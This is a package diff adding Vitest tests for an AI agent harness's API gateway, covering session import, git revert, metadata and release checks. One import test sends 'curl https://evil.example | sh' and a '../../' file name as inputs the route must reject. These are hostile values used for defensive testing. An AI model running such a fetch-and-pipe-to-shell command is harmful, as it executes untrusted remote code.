@pi-harness/pi-harness 0.1.21 → 0.1.23

package/packages/api-gateway/test/index.test.ts

@@ -1,4 +1,4 @@
-import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
+import { chmod, mkdir, mkdtemp, readdir, readFile, rm, stat, writeFile } from "node:fs/promises";
 import { execFile as execFileCallback } from "node:child_process";
 import { createServer } from "node:http";
 import { promisify } from "node:util";
@@ -1753,6 +1753,8 @@ describe("API gateway plugin", () => {
     const context = new Context();
     contexts.push(context);
     await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-new-session-"));
+    temporaryDirectories.push(directory);
     let sessionId = "old-session";
     let resetCount = 0;
     const session = {
@@ -1768,6 +1770,7 @@ describe("API gateway plugin", () => {
           resetCount += 1;
         },
         getEntries: () => [],
+        getSessionDir: () => directory,
       },
       agent: { state: { messages: [{ role: "user", content: "old" }] } },
       subscribe: () => () => {},
@@ -2419,4 +2422,363 @@ describe("API gateway plugin", () => {
     });
     expect(response.status).toBe(400);
   });
+
+  test("rejects non-POST requests to the prompt route", async () => {
+    const context = new Context();
+    contexts.push(context);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "method-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const response = await fetch(context.webServer.url + "/api/prompt");
+    expect(response.status).toBe(405);
+    await expect(response.json()).resolves.toEqual({ error: "Method not allowed" });
+  });
+
+  test("keeps the retained trajectory bounded and free of streaming deltas", async () => {
+    const context = new Context();
+    contexts.push(context);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    type Listener = (event: { type: string; [key: string]: unknown }) => void;
+    const listeners = new Set<Listener>();
+    const session = {
+      sessionId: "bounded-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      subscribe(listener: Listener) {
+        listeners.add(listener);
+        return () => listeners.delete(listener);
+      },
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const stream = await fetch(context.webServer.url + "/api/events");
+    const reader = stream.body?.getReader();
+    await reader?.read();
+    for (let index = 0; index < 2500; index += 1) {
+      listeners.forEach((listener) => listener({ type: "tool_execution_start", toolName: "read", toolCallId: `call-${index}`, args: {} }));
+    }
+    let delivered = "";
+    for (let index = 0; index < 500; index += 1) {
+      listeners.forEach((listener) =>
+        listener({ type: "message_update", assistantMessageEvent: { type: "text_delta", delta: "x" }, message: { role: "assistant", content: [] } }),
+      );
+    }
+    while (!delivered.includes('"type":"message_update"')) {
+      const chunk = await reader?.read();
+      delivered += new TextDecoder().decode(chunk?.value);
+    }
+    await reader?.cancel();
+
+    const response = await fetch(context.webServer.url + "/api/session");
+    expect(response.status).toBe(200);
+    const payload = (await response.json()) as { events: { type: string; toolCallId?: string }[] };
+    expect(payload.events).toHaveLength(2000);
+    expect(payload.events.some((event) => event.type === "message_update")).toBe(false);
+    expect(payload.events[0]?.toolCallId).toBe("call-500");
+    expect(payload.events.at(-1)?.toolCallId).toBe("call-2499");
+    const status = await fetch(context.webServer.url + "/api/status");
+    await expect(status.json()).resolves.toMatchObject({ events: 2000 });
+  });
+
+  test("reverts tracked and untracked workspace files together and rejects unknown paths", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-revert-mixed-"));
+    temporaryDirectories.push(directory);
+    await execFile("git", ["init", "-q"], { cwd: directory });
+    await execFile("git", ["config", "user.email", "pi-harness@test.invalid"], { cwd: directory });
+    await execFile("git", ["config", "user.name", "Pi Harness Test"], { cwd: directory });
+    await writeFile(join(directory, "tracked.txt"), "before\n", "utf8");
+    await writeFile(join(directory, "removed.txt"), "gone\n", "utf8");
+    await execFile("git", ["add", "tracked.txt", "removed.txt"], { cwd: directory });
+    await execFile("git", ["commit", "-qm", "initial"], { cwd: directory });
+    await writeFile(join(directory, "tracked.txt"), "after\n", "utf8");
+    await writeFile(join(directory, "scratch.txt"), "discard me\n", "utf8");
+    await execFile("git", ["rm", "-q", "removed.txt"], { cwd: directory });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "revert-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const unknown = await fetch(context.webServer.url + "/api/files/revert", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ paths: ["does-not-exist.txt"], confirm: true }),
+    });
+    expect(unknown.status).toBe(409);
+    const unknownBody = (await unknown.json()) as { error: string };
+    expect(unknownBody.error).toContain("does-not-exist.txt");
+    const response = await fetch(context.webServer.url + "/api/files/revert", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ paths: ["tracked.txt", "scratch.txt", "removed.txt"], confirm: true }),
+    });
+    expect(response.status).toBe(200);
+    await expect(response.json()).resolves.toMatchObject({ reverted: true });
+    await expect(readFile(join(directory, "tracked.txt"), "utf8")).resolves.toBe("before\n");
+    await expect(readFile(join(directory, "removed.txt"), "utf8")).resolves.toBe("gone\n");
+    await expect(stat(join(directory, "scratch.txt"))).rejects.toMatchObject({ code: "ENOENT" });
+    await expect(execFile("git", ["status", "--porcelain"], { cwd: directory })).resolves.toMatchObject({ stdout: "" });
+  });
+
+  test("surfaces git status failures and truncation instead of reporting a clean workspace", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-shim-"));
+    temporaryDirectories.push(directory);
+    const shimDirectory = join(directory, "bin");
+    await mkdir(shimDirectory);
+    const shim = join(shimDirectory, "git");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "files-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    try {
+      await writeFile(shim, '#!/bin/sh\necho "fatal: index file corrupt" >&2\nexit 128\n', { mode: 0o755 });
+      const failed = await fetch(context.webServer.url + "/api/files");
+      expect(failed.status).toBe(500);
+      await expect(failed.json()).resolves.toEqual({ error: "fatal: index file corrupt" });
+
+      await writeFile(shim, "#!/bin/sh\nprintf ' M tracked.txt\\n'\nseq 1 40000 | sed 's/^/?? untracked-/;s/$/.txt/'\n", { mode: 0o755 });
+      const truncated = await fetch(context.webServer.url + "/api/files");
+      expect(truncated.status).toBe(200);
+      const payload = (await truncated.json()) as { items: { path: string }[]; truncated?: boolean };
+      expect(payload.truncated).toBe(true);
+      expect(payload.items[0]).toMatchObject({ path: "tracked.txt", status: "M", label: "modified" });
+      expect(payload.items.length).toBeGreaterThan(1);
+      expect(payload.items.length).toBeLessThan(40001);
+      expect(payload.items.every((item) => /^(tracked|untracked-\d+)\.txt$/.test(item.path))).toBe(true);
+    } finally {
+      process.env.PATH = originalPath;
+    }
+  });
+
+  test("reports a git process killed by the output limit as a server failure rather than a rejected commit", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-kill-"));
+    temporaryDirectories.push(directory);
+    const shimDirectory = join(directory, "bin");
+    await mkdir(shimDirectory);
+    await writeFile(join(shimDirectory, "git"), "#!/bin/sh\nhead -c 3145728 /dev/zero | tr '\\0' x\n", { mode: 0o755 });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "commit-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
+    context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    try {
+      const response = await fetch(context.webServer.url + "/api/files/commit", {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({ paths: ["README.md"], message: "Update README" }),
+      });
+      expect(response.status).toBe(500);
+      await expect(response.json()).resolves.toEqual({ error: "git add produced more output than the buffer limit allows" });
+    } finally {
+      process.env.PATH = originalPath;
+    }
+  });
+
+  test("serializes concurrent session metadata updates so none are lost", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-"));
+    temporaryDirectories.push(directory);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = {
+      sessionId: "metadata-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
+      subscribe: () => () => {},
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const paths = Array.from({ length: 8 }, (_, index) => join(directory, `2026-08-30T00-00-0${index}-000Z_session-${index}.jsonl`));
+    const responses = await Promise.all(
+      paths.map((path, index) =>
+        index % 2 === 0
+          ? fetch(context.webServer.url + "/api/session/metadata", {
+              method: "POST",
+              headers: { "content-type": "application/json" },
+              body: JSON.stringify({ path, pinned: true }),
+            })
+          : fetch(context.webServer.url + "/api/sessions/batch", {
+              method: "POST",
+              headers: { "content-type": "application/json" },
+              body: JSON.stringify({ action: "archive", paths: [path] }),
+            }),
+      ),
+    );
+    expect(responses.map((response) => response.status)).toEqual(Array(8).fill(200));
+    const stored = JSON.parse(await readFile(join(directory, ".pi-harness-session-meta.json"), "utf8")) as Record<
+      string,
+      { pinned?: boolean; archived?: boolean }
+    >;
+    expect(Object.keys(stored).sort()).toEqual([...paths].sort());
+    paths.forEach((path, index) => expect(stored[path]).toEqual(index % 2 === 0 ? { pinned: true } : { archived: true }));
+    const leftovers = (await readdir(directory)).filter((name) => name.endsWith(".tmp"));
+    expect(leftovers).toEqual([]);
+  });
+
+  test("quarantines corrupt session metadata instead of silently replacing it", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-corrupt-"));
+    temporaryDirectories.push(directory);
+    const metadataFile = join(directory, ".pi-harness-session-meta.json");
+    const corrupt = '{ "other.jsonl": { "arc';
+    await writeFile(metadataFile, corrupt, "utf8");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = {
+      sessionId: "metadata-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
+      subscribe: () => () => {},
+    };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const list = await fetch(context.webServer.url + "/api/sessions");
+    expect(list.status).toBe(200);
+    const quarantined = (await readdir(directory)).filter((name) => name.startsWith(".pi-harness-session-meta.json.corrupt-"));
+    expect(quarantined).toHaveLength(1);
+    await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
+    await expect(stat(metadataFile)).rejects.toMatchObject({ code: "ENOENT" });
+
+    const path = join(directory, "2026-08-30T00-00-00-000Z_pinned.jsonl");
+    const update = await fetch(context.webServer.url + "/api/session/metadata", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ path, pinned: true }),
+    });
+    expect(update.status).toBe(200);
+    await expect(update.json()).resolves.toEqual({ path, metadata: { pinned: true } });
+    expect(JSON.parse(await readFile(metadataFile, "utf8"))).toEqual({ [path]: { pinned: true } });
+    await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
+  });
+
+  test("replaces settings.json atomically through the config source route", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const agentDir = await mkdtemp(join(tmpdir(), "pi-harness-api-agent-"));
+    temporaryDirectories.push(agentDir);
+    const settingsPath = join(agentDir, "settings.json");
+    await writeFile(settingsPath, '{"stale":true}\n', "utf8");
+    await chmod(settingsPath, 0o444);
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const settingsManager = new Proxy({}, { get: () => () => ({}) });
+    const session = { sessionId: "config-session", sessionFile: undefined, messages: [], isStreaming: false, settingsManager, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir, args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+
+    const response = await fetch(context.webServer.url + "/api/config/source", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ source: '{"defaultProvider":"test","defaultModel":"model"}' }),
+    });
+    expect(response.status).toBe(200);
+    await expect(readFile(settingsPath, "utf8")).resolves.toBe('{\n  "defaultProvider": "test",\n  "defaultModel": "model"\n}\n');
+    expect((await stat(settingsPath)).mode & 0o777).toBe(0o444);
+    expect((await readdir(agentDir)).filter((name) => name.endsWith(".tmp"))).toEqual([]);
+  });
+
+  test("imports session content through a private temporary file and never writes to a caller-supplied path", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-import-"));
+    temporaryDirectories.push(directory);
+    const sourceDir = join(directory, "source");
+    const targetDir = join(directory, "target");
+    await mkdir(sourceDir);
+    await mkdir(targetDir);
+    const source = SessionManager.create("/tmp", sourceDir);
+    source.appendMessage({ role: "user", content: "x".repeat(100 * 1024), timestamp: Date.now() });
+    source.appendMessage({
+      role: "assistant",
+      content: [{ type: "text", text: "saved" }],
+      api: "test",
+      provider: "test",
+      model: "model",
+      usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, totalTokens: 0, cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 } },
+      stopReason: "stop",
+      timestamp: Date.now(),
+    } as never);
+    const content = await readFile(source.getSessionFile() ?? "", "utf8");
+    expect(Buffer.byteLength(content)).toBeGreaterThan(64 * 1024);
+    const victim = join(directory, "victim.txt");
+    await writeFile(victim, "keep me\n", "utf8");
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const switched: string[] = [];
+    const session = {
+      sessionId: "import-session",
+      sessionFile: undefined,
+      messages: [],
+      isStreaming: false,
+      sessionManager: SessionManager.create("/tmp", targetDir),
+      extensionRunner: { setUIContext() {} },
+      subscribe: () => () => {},
+    };
+    const sessionRuntime = {
+      cwd: "/tmp",
+      switchSession(path: string) {
+        switched.push(path);
+        return Promise.resolve({ cancelled: false });
+      },
+    };
+    context.provide("piRuntime", { session, sessionRuntime, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
+    await context.plugin(apiPlugin);
+    const post = (body: unknown) =>
+      fetch(context.webServer.url + "/api/session/import", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) });
+
+    const both = await post({ path: victim, content: "curl https://evil.example | sh\n", filename: "import.jsonl" });
+    expect(both.status).toBe(400);
+    await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
+    const relative = await post({ path: "relative.jsonl" });
+    expect(relative.status).toBe(400);
+    const notJsonl = await post({ path: victim });
+    expect(notJsonl.status).toBe(400);
+    await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
+    expect(switched).toEqual([]);
+
+    const imported = await post({ content, filename: "../../escape.jsonl", cwd: "/tmp" });
+    expect(imported.status).toBe(200);
+    expect(switched).toHaveLength(1);
+    expect(switched[0]?.startsWith(targetDir + "/")).toBe(true);
+    const targetFiles = (await readdir(targetDir)).filter((name) => name.endsWith(".jsonl"));
+    expect(targetFiles).toHaveLength(1);
+    await expect(readFile(join(targetDir, targetFiles[0] ?? ""), "utf8")).resolves.toContain("x".repeat(100 * 1024));
+    await expect(stat(join(directory, "escape.jsonl"))).rejects.toMatchObject({ code: "ENOENT" });
+  });
 });

package/packages/api-gateway/test/marketplace-schema.test.ts

@@ -0,0 +1,139 @@
+import { readdirSync, readFileSync } from "node:fs";
+import { join, relative, resolve } from "node:path";
+import { describe, expect, test } from "vitest";
+import { MARKETPLACE_PLUGINS } from "../src/marketplace.js";
+
+const repositoryRoot = resolve(import.meta.dirname, "../../..");
+const schemaPath = resolve(repositoryRoot, "docs/marketplace-entry.schema.json");
+const entriesRoot = resolve(import.meta.dirname, "../src/marketplace-entries");
+
+type Schema = Record<string, unknown>;
+type JsonType = "array" | "boolean" | "integer" | "null" | "number" | "object" | "string";
+
+// The repository has no JSON Schema validator dependency (ajv is only a transitive draft-07 build), so this test interprets exactly the keyword subset the published schema uses. Any keyword outside this set fails loudly instead of being silently ignored, so a schema edit cannot escape the check.
+const supportedKeywords = new Set([
+  "$schema",
+  "title",
+  "description",
+  "type",
+  "required",
+  "additionalProperties",
+  "properties",
+  "pattern",
+  "minLength",
+  "enum",
+  "const",
+  "items",
+  "minItems",
+  "uniqueItems",
+  "minimum",
+  "maximum",
+  "if",
+  "then",
+  "else",
+]);
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return value !== null && typeof value === "object" && !Array.isArray(value);
+}
+
+function jsonType(value: unknown): JsonType {
+  if (value === null) return "null";
+  if (Array.isArray(value)) return "array";
+  if (typeof value === "number") return Number.isInteger(value) ? "integer" : "number";
+  return typeof value as JsonType;
+}
+
+function sameJson(left: unknown, right: unknown): boolean {
+  return JSON.stringify(left) === JSON.stringify(right);
+}
+
+function validate(schema: Schema, value: unknown, path = "$"): string[] {
+  for (const keyword of Object.keys(schema)) {
+    if (!supportedKeywords.has(keyword)) throw new Error(`Unsupported schema keyword "${keyword}" at ${path}`);
+  }
+  const errors: string[] = [];
+  if (schema.type !== undefined) {
+    const allowed = (Array.isArray(schema.type) ? schema.type : [schema.type]) as JsonType[];
+    const actual = jsonType(value);
+    if (!allowed.some((type) => type === actual || (type === "number" && actual === "integer")))
+      errors.push(`${path}: expected ${allowed.join("|")}, got ${actual}`);
+  }
+  if (Array.isArray(schema.enum) && !schema.enum.some((candidate) => sameJson(candidate, value)))
+    errors.push(`${path}: not one of ${JSON.stringify(schema.enum)}`);
+  if ("const" in schema && !sameJson(schema.const, value)) errors.push(`${path}: expected ${JSON.stringify(schema.const)}`);
+  if (typeof value === "string") {
+    if (typeof schema.pattern === "string" && !new RegExp(schema.pattern, "u").test(value))
+      errors.push(`${path}: ${JSON.stringify(value)} does not match ${schema.pattern}`);
+    if (typeof schema.minLength === "number" && value.length < schema.minLength) errors.push(`${path}: shorter than ${schema.minLength}`);
+  }
+  if (typeof value === "number") {
+    if (typeof schema.minimum === "number" && value < schema.minimum) errors.push(`${path}: ${value} < ${schema.minimum}`);
+    if (typeof schema.maximum === "number" && value > schema.maximum) errors.push(`${path}: ${value} > ${schema.maximum}`);
+  }
+  if (Array.isArray(value)) {
+    if (typeof schema.minItems === "number" && value.length < schema.minItems) errors.push(`${path}: fewer than ${schema.minItems} items`);
+    if (schema.uniqueItems === true && new Set(value.map((item) => JSON.stringify(item))).size !== value.length) errors.push(`${path}: items are not unique`);
+    if (isRecord(schema.items)) value.forEach((item, index) => errors.push(...validate(schema.items as Schema, item, `${path}[${index}]`)));
+  }
+  if (isRecord(value)) {
+    const properties = isRecord(schema.properties) ? schema.properties : {};
+    if (Array.isArray(schema.required))
+      for (const key of schema.required as string[]) if (!(key in value)) errors.push(`${path}: missing required property "${key}"`);
+    for (const [key, property] of Object.entries(properties)) {
+      if (key in value) errors.push(...validate(property as Schema, value[key], `${path}.${key}`));
+    }
+    if (schema.additionalProperties === false) {
+      for (const key of Object.keys(value)) if (!(key in properties)) errors.push(`${path}: unexpected property "${key}"`);
+    }
+  }
+  if (isRecord(schema.if)) {
+    const branch = validate(schema.if, value, path).length === 0 ? schema.then : schema.else;
+    if (isRecord(branch)) errors.push(...validate(branch, value, path));
+  }
+  return errors;
+}
+
+function entryFiles(directory: string): string[] {
+  return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
+    const path = join(directory, entry.name);
+    if (entry.isDirectory()) return entryFiles(path);
+    return entry.isFile() && entry.name.endsWith(".json") ? [path] : [];
+  });
+}
+
+const schema = JSON.parse(readFileSync(schemaPath, "utf8")) as Schema;
+const files = entryFiles(entriesRoot).sort();
+const readEntry = (path: string): Record<string, unknown> => JSON.parse(readFileSync(path, "utf8")) as Record<string, unknown>;
+const validEntry = (): Record<string, unknown> => readEntry(join(entriesRoot, "official", "agent-teams.json"));
+const groupEntry = (): Record<string, unknown> => readEntry(join(entriesRoot, "official", "cordis-group.json"));
+
+describe("marketplace entry schema", () => {
+  test("covers every shipped entry file", () => {
+    expect(files.length).toBe(MARKETPLACE_PLUGINS.length);
+  });
+
+  test.each(files.map((path) => [relative(entriesRoot, path), path] as const))("accepts %s", (_name, path) => {
+    expect(validate(schema, readEntry(path))).toEqual([]);
+  });
+
+  test("accepts core plugin subpaths and group entries with array config", () => {
+    expect(validate(schema, validEntry())).toEqual([]);
+    expect(validate(schema, groupEntry())).toEqual([]);
+    expect(validate(schema, { ...validEntry(), statistics: { downloads30d: 12, quality: 0.5, updatedAt: "2026-01-01T00:00:00.000Z" } })).toEqual([]);
+  });
+
+  test("rejects entries the runtime validator rejects", () => {
+    const withoutCategory = validEntry();
+    delete withoutCategory.category;
+    expect(validate(schema, withoutCategory)).toContain('$: missing required property "category"');
+    expect(validate(schema, { ...validEntry(), category: { id: "Not Kebab", label: "x" } })).not.toEqual([]);
+    expect(validate(schema, { ...validEntry(), category: { id: "collaboration", label: " " } })).not.toEqual([]);
+    expect(validate(schema, { ...validEntry(), packageName: "Not/Valid Name" })).not.toEqual([]);
+    expect(validate(schema, { ...validEntry(), profile: { name: "@pi-harness/core/plugins/agent-teams", config: [] } })).not.toEqual([]);
+    expect(validate(schema, { ...groupEntry(), profile: { name: "@deepseek-ai/cordis-plugin-group", group: true, config: {} } })).not.toEqual([]);
+    expect(validate(schema, { ...validEntry(), capabilities: [] })).not.toEqual([]);
+    expect(validate(schema, { ...validEntry(), repository: "http://example.com" })).not.toEqual([]);
+    expect(validate(schema, { ...validEntry(), unexpected: true })).not.toEqual([]);
+  });
+});

package/packages/api-gateway/test/release-contract.test.ts

@@ -0,0 +1,77 @@
+import { readdirSync, readFileSync, statSync } from "node:fs";
+import { dirname, join, relative, resolve } from "node:path";
+import { describe, expect, test } from "vitest";
+
+const repositoryRoot = resolve(import.meta.dirname, "../../..");
+
+const readText = (path: string): string => readFileSync(resolve(repositoryRoot, path), "utf8");
+const readJson = (path: string): Record<string, unknown> => JSON.parse(readText(path)) as Record<string, unknown>;
+
+function sourceFiles(directory: string, extension: string): string[] {
+  return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
+    const path = join(directory, entry.name);
+    if (entry.isDirectory()) return sourceFiles(path, extension);
+    return entry.isFile() && entry.name.endsWith(extension) ? [path] : [];
+  });
+}
+
+// Reduces a bare module specifier such as "@scope/name/subpath" or "name/subpath" to the npm package that provides it.
+function packageNameOf(specifier: string): string {
+  const segments = specifier.split("/");
+  return specifier.startsWith("@") ? segments.slice(0, 2).join("/") : (segments[0] ?? specifier);
+}
+
+function workspaceNameFor(binTarget: string): string {
+  let directory = dirname(resolve(repositoryRoot, binTarget));
+  while (directory !== repositoryRoot) {
+    const manifest = join(directory, "package.json");
+    if (statSync(manifest, { throwIfNoEntry: false })?.isFile()) return (JSON.parse(readFileSync(manifest, "utf8")) as { name: string }).name;
+    directory = dirname(directory);
+  }
+  throw new Error(`No workspace manifest above ${binTarget}`);
+}
+
+describe("release contract", () => {
+  const workflow = readText(".github/workflows/release.yml");
+
+  test("publish step retries after a failed publish instead of trusting the release tag", () => {
+    // The tag is pushed before npm publish runs, so its existence must never be used as evidence that a package version was submitted.
+    expect(workflow).not.toContain("RELEASE_TAG_EXISTS");
+    expect(workflow).not.toContain("was already submitted");
+    expect(workflow).not.toContain("tag_exists=$tag_exists");
+    expect(workflow).toContain("npm publish --workspace @pi-harness/core --access public");
+    expect(workflow).toContain("npm publish --access public");
+  });
+
+  test("pins every action to a full commit SHA with its release tag recorded", () => {
+    const uses = [...workflow.matchAll(/^\s+uses:\s*(.+)$/gmu)].map((match) => match[1] ?? "");
+    expect(uses.length).toBeGreaterThanOrEqual(2);
+    for (const reference of uses) expect(reference).toMatch(/^[\w.-]+\/[\w.-]+@[0-9a-f]{40} # v\d+\.\d+\.\d+$/u);
+  });
+
+  test("prepack builds every workspace that a root bin points at", () => {
+    const root = readJson("package.json") as { bin: Record<string, string>; scripts: Record<string, string> };
+    expect(root.scripts.prepack).toBe("npm run build:web");
+    const built = [...root.scripts["build:web"]!.matchAll(/npm run build -w (\S+)/gu)].map((match) => match[1]);
+    for (const target of Object.values(root.bin)) expect(built, `${target} is not built by build:web`).toContain(workspaceNameFor(target));
+    expect(built.indexOf("@pi-harness/core")).toBeLessThan(built.indexOf("@pi-harness/cli"));
+  });
+
+  test("core declares every package its sources and shipped profiles load", () => {
+    const core = readJson("packages/core/package.json") as { name: string; dependencies: Record<string, string> };
+    const specifierPattern =
+      /(?:from\s*|import\s*\(\s*|import\.meta\.resolve\(\s*|require(?:\.resolve)?\(\s*)["']([@a-z][^"'\s]*)["']|"(@[a-z0-9._~-]+\/[a-z0-9._~-]+(?:\/[a-z0-9._~-]+)*)"/gu;
+    const required = new Map<string, string>();
+    for (const file of sourceFiles(resolve(repositoryRoot, "packages/core/src"), ".ts")) {
+      for (const match of readFileSync(file, "utf8").matchAll(specifierPattern))
+        required.set(packageNameOf(match[1] ?? match[2] ?? ""), relative(repositoryRoot, file));
+    }
+    for (const file of sourceFiles(resolve(repositoryRoot, "packages/core/profiles"), ".yml")) {
+      for (const match of readFileSync(file, "utf8").matchAll(/^\s*name:\s*"?([^"\s]+)"?\s*$/gmu))
+        required.set(packageNameOf(match[1] ?? ""), relative(repositoryRoot, file));
+    }
+    const external = [...required].filter(([name]) => !name.startsWith("node:") && !name.includes(":") && name !== core.name);
+    expect(external.length).toBeGreaterThan(0);
+    for (const [name, file] of external) expect(core.dependencies[name], `${name} (used by ${file}) is missing from ${core.name} dependencies`).toBeDefined();
+  });
+});

package/packages/api-gateway/test/release-package.test.ts

@@ -33,6 +33,6 @@ describe("release package", () => {
     expect(workflow).toContain("npm publish --workspace @pi-harness/core --access public");
     expect(workflow).toContain("npm publish --access public");
     expect(workflow).toContain("Verify package availability");
-    expect(workflow).toContain("RELEASE_TAG_EXISTS: ${{ steps.release.outputs.tag_exists }}");
+    expect(workflow).not.toContain("RELEASE_TAG_EXISTS");
   });
 });

package/packages/api-gateway/test/release-version.test.ts

@@ -37,10 +37,9 @@ describe("release version preparation", () => {
         "packages/api-gateway": { name: "@pi-harness/api-gateway", version: "0.1.2" },
       },
     });
-    await writeJson(fixture, "packages/api-gateway/src/marketplace-entries/official/internal.json", {
-      packageName: "@pi-harness/core/plugins/example",
-      version: "0.1.2",
-    });
+    const formattedInternalEntry = `{\n  "packageName": "@pi-harness/core/plugins/example",\n  "version": "0.1.2",\n  "hooks": ["tool", "panel"],\n  "profile": { "config": { "version": "keep-me" } }\n}\n`;
+    await mkdir(resolve(fixture, "packages/api-gateway/src/marketplace-entries/official"), { recursive: true });
+    await writeFile(resolve(fixture, "packages/api-gateway/src/marketplace-entries/official/internal.json"), formattedInternalEntry);
     await writeJson(fixture, "packages/api-gateway/src/marketplace-entries/official/external.json", { packageName: "external-plugin", version: "4.5.6" });
 
     await execFileAsync(process.execPath, [resolve(repositoryRoot, "scripts/set-release-version.mjs"), "0.1.3"], { cwd: fixture });
@@ -72,6 +71,9 @@ describe("release version preparation", () => {
       },
     });
     expect(internalEntry.version).toBe("0.1.3");
+    expect(await readFile(resolve(fixture, "packages/api-gateway/src/marketplace-entries/official/internal.json"), "utf8")).toBe(
